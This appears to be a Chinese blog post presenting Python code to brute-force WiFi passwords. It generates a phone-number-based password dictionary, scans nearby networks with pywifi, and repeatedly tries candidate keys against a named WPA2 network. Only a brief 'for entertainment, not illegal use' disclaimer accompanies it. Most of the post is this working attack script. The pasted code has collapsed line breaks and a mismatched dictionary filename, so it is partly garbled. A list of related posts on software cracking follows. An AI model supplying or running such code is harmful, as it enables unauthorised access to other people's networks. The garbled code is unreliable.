Python实现暴力破解wifi密码【本篇文章仅供娱乐,请不要做非法用途】

准备工作
    1. 1、准备密码字典
    1. 2、Python扫描周围有的无线网名称和信号强度
    1. 3、暴力方式破解wifi
生成密码
# -*- coding: utf-8 -*-
import itertools as its
import datetime#记录程序运行时间
start=datetime.datetime.now()
words = '1234567890'#这里可以加入字母和其他字符,使用string包更方便
# 生成密码的位数
r = its.product(words,repeat=8)#4即生成4位密码,正常情况下热点密码位数为8
dic = open("paswwer.txt", 'a')
phoneNumHead = ['134', '135', '136', '137', '138', '139', '147', '150', '151', '152', '157', '158', '159', '182', '187', '188', '130', '131', '132', '155', '156', '185', '186', '133', '153', '180', '189', '154', '181', '183', '184']
# phoneNumHead = [1]
for num in phoneNumHead:for i in r:line = ''.join(i)dic.write(str(num) + str(line) + '\n')# print(i)dic.close()
print('密码本生成好了')
end=datetime.datetime.now()
print("生成密码本一共用了多长时间:{}".format(end-start))
扫描周围wifi信息
# -*- coding: utf-8 -*-
import pywifiif __name__ == '__main__':wifi = pywifi.PyWiFi()iface = wifi.interfaces()[0]# 起始获得的是列表,列表中存放的是无线网卡对象。# 可能一台电脑有多个网卡,请注意选择# 如果网卡选择错了,程序会卡住,不出结果。iface.scan()result=iface.scan_results()for i in range(len(result)):print(result[i].ssid, result[i].signal)#ssid 是名称 ,signal 是信号强度print('ok')
暴力破解wifi
# -*- coding: utf-8 -*-
import pywifi
from pywifi import const
import time
import datetime#测试连接,返回链接结果
def wifiConnect(pwd):#抓取网卡接口wifi=pywifi.PyWiFi()#获取第一个无线网卡ifaces=wifi.interfaces()[0]#断开所有连接ifaces.disconnect()#这里有个时间点,理论上时间间隔越长,破解wifi过程中越不容易被路由设备拒绝,但是缺点就是破解需要的整体时间过长time.sleep(1)wifistatus=ifaces.status()if wifistatus ==const.IFACE_DISCONNECTED:#创建WiFi连接文件profile=pywifi.Profile()#要连接WiFi的名称profile.ssid="jiayi"#网卡的开放状态profile.auth=const.AUTH_ALG_OPEN#wifi加密算法,一般wifi加密算法为wpsprofile.akm.append(const.AKM_TYPE_WPA2PSK)#加密单元profile.cipher=const.CIPHER_TYPE_CCMP#调用密码profile.key=pwd#删除所有连接过的wifi文件ifaces.remove_all_network_profiles()#设定新的连接文件tep_profile=ifaces.add_network_profile(profile)ifaces.connect(tep_profile)#wifi连接时间time.sleep(3)if ifaces.status()==const.IFACE_CONNECTED:return Trueelse:return Falseelse:print("已有wifi连接") #读取密码本
def readPassword():print("开始破解:")#密码本路径path="password.txt"#打开文件file = open(path, "r")while True:try:#一行一行读取pad=file.readline()bool=wifiConnect(pad)if bool:print("密码已破解: ",pad)print("WiFi已自动连接!!!")with open('ok.ini', 'a') as f:f.write(str(pad) + '\n')breakelse:#跳出当前循环,进行下一次循环print("密码破解中....密码校对: ",pad)except:continuestart=datetime.datetime.now()
readPassword()
end=datetime.datetime.now()
print("破解WIFI密码一共用了多长时间:{}".format(end-start))

声明:
代码非原装,本人只是做了整理、优化工作,文章主要是让大家了解暴力破解的原理及其实现,请不要拿做非法用途。若产生不良后果,使用者要负全部责任。

python实现 wifi密码 破解-密码字典篇【本篇文章仅供娱乐,请不要做非法用途】相关推荐

  1. aspose-slides-19.6暴力破解,ppt转图片转pdf,仅供学习,不可用于商业用途

    aspose-slides-19.6是ppt转图片.pdf等等的工具类,十分强大,我用过旧版,是需要转pdf才能转成图片,新版的直接就能转图片了.下面附上破解教程,只能用于学习,不可用于商业用途 使用 ...

  2. 【仅供娱乐】计算机算命之Python通天六十四卦

    文章目录 0. 说明 1. 主体代码 2. 辅助文件 0. 说明 本文仅供娱乐,占卜内容均为虚构,切勿当真. 占卜算卦有很多的随机性,计算过程也十分复杂,本文仅仅使用随机数法进行占卜. 核心函数为ra ...

  3. python中利用turtle(海龟)绘图制作龟兔赛跑动画——仅供学习

    python中利用turtle(海龟)绘图制作龟兔赛跑动画--仅供学习哦 首先,欢迎大家来我的博客当中浏览,由于我和我的可爱现在还都个初学者,所作的东西还不够完善,之前在学习计算机的各种语言的过程中, ...

  4. Python实操 :破解密码

    问题描述 东方不败把武林秘籍存在一个小小的保险箱里 ,有一天他想检查秘籍是否是安全的,却悲催的发现自己忘记了密码. 问题分析 1·密码破解的问题对Python来说很好解决,最简单的方式就是穷举法,用更 ...

  5. python设置internet_树莓派中用Python配置WIFI网络和密码

    在安装系统时,曾用手动的方式来配置WIFI网络和密码,但是在部署数据采集装置时,需要现场配置,为了方便操作可以用串口来传入数据,然后由Ptyhon程序去修改WIFI配置. wpa_cli工具 wpa_ ...

  6. 利用Python自动生成暴力破解的字典

    Python是一款非常强大的语言.用于测试时它非常有效,因此Python越来越受到欢迎. 因此,在此次教程中我将聊一聊如何在Python中生成字典,并将它用于任何你想要的用途. 前提要求 1,Pyth ...

  7. Python + Selenium + Chrome Driver 自动化点击+评论+刷弹幕(仅供学习)

    Python + Selenium + Chrome Driver 自动化点击 评论 刷弹幕 首先说明,这篇博文仅供学习!仅供学习!仅供学习! 不要拿去做其他事,封号概不负责!!! 突发奇想 首先先说 ...

  8. csgo开箱小程序(python,仅供娱乐)

    csgo开箱小程序(仅供娱乐) import random import time while True:m=0t=0y=0lan=0zi=0fen=0hong=0jin=0for n in rang ...

  9. Python+Tkinter编写WIFI暴力破解客户端

    最近闲来无事,学习了一下tkinter,写了一个客户端GUI暴力破解wifi,实测可行,但是效率不高,毕竟几个G的字典数据,电脑是单网卡也不能实现并发爆破,能破解全看缘分,此篇文章仅供学习交流,话不多 ...

  10. 渗透测试:密码破解小结

    0x00 前言 一次测试的过程总会涉及到"密码"与"加解密".在踩点的过程中,对弱口令的尝试是必不可少的过程,从xx抓鸡到内网哈希批量传递,从个人PC到网络设备 ...

最新文章

  1. requests 返回的cookies为空_Requests库(七)重定向和超时
  2. 单片机向左,嵌入式向右
  3. django常用的模型字段类型和常用的查询
  4. 原来这些行业的“潜规则”是这样的...
  5. ansys 内聚力_内聚力 软件工程
  6. 这个热图上面的树是根据系统发育关系画的吗?
  7. java string 栈_Java堆和栈的区别(String类)
  8. 一张表搞懂各种 Docker 监控方案 - 每天5分钟玩转 Docker 容器技术(86)
  9. 【ICLR2020】通过强化学习和稀疏奖励进行模仿学习
  10. 计算机网络速度慢原因,导致电脑网速变慢的七大原因
  11. python opencv Shi-Tomasi 角点检测和特征跟踪
  12. 什么是高斯模糊算法?
  13. Microsoft Edge 收藏夹如何显示在界面上方?
  14. 敏捷开发松结对编程系列:L型代码结构案例StatusFiltersDropdownList(上)
  15. EI收录中国大陆期刊名录(2012年)
  16. 回调函数基本介绍和基本使用场景
  17. openEuler上一键部署opengauss数据库
  18. 使用 Smart Security 实现安全控制
  19. 基于树莓派的舵机控制原理
  20. win7 打开文件 计算机,如何在win7计算机上打开dat文件,如何在win7计算机上打开dat文件...

热门文章

  1. c语言数据结构和数据类型_C语言中的数据类型
  2. 小甲鱼python二_小甲鱼python第二讲课后习题
  3. 微信小游戏代码包侵权的避开技巧(含处理脚本代码)
  4. Python实现everything文件检索
  5. Java 阶乘(BigInteger)
  6. Js页面打印组件实现
  7. 安川mpe720编程手册_南宁安川机器人学校
  8. 浅谈Java新手入门书籍选择
  9. Effective Java 思维导图
  10. 初学Python选什么版本?